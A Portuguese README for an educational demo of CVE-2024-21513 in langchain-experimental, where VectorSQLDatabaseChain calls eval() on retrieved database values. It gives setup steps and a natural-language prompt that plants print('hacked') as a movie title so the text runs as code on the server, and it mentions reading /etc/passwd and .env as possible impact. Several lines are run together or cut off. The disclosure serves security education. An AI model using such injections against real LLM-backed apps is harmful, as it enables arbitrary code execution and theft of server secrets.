
Demonstra CVE-2024-21513 no langchain-experimental, mostrando execução arbitrária de código via eval() do VectorSQLDatabaseChain em valores recuperados. Inclui configuração, uso e demonstração de exploit para pesquisa educacional de segurança.
Este projeto demonstra a vulnerabilidade CVE-2024-21513 no pacote langchain-experimental, especificamente nas versões >=0.0.15 e <0.0.21. A vulnerabilidade permite a execução arbitrária de código através do componente VectorSQLDatabaseChain ao recuperar valores do banco de dados, devido ao uso de eval() em todos os valores recuperados.
Este aplicativo permite que você converse com um banco de dados SQL com informações sobre Filmes (ID, Título, Diretor, Ano, Avaliação)
SQLDatabase do langchain.VectorSQLDatabaseChain para processar consultas ao banco de dados.python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
.env na raiz do projeto (embora isso não seja seguro, forneci a URI para o banco de dados PostgreSQL implantado no Supabase por conveniência):
OPENAI_API_KEY=your-openai-api-key
streamlit run app.py
Para executar o aplicativo em um contêiner Docker:
docker build -t streamlit-app .
docker run -p 8501:8501 streamlit-app
Submit para executar a consulta.Para verificar a vulnerabilidade, insira um payload malicioso na entrada de consulta SQL. Usei um payload muito simples para esta demonstração:
Add a movie with the title print("hacked") with the director Hacker, year 2019, id 65 and rating 6
Se vulnerável, isso imprimirá "hacked" no servidor.
Se o código vulnerável for executado:
/etc/passwd, .env, etc.).Este projeto é apenas para fins educacionais e de pesquisa em segurança. Não utilize isso em sistemas não autorizados.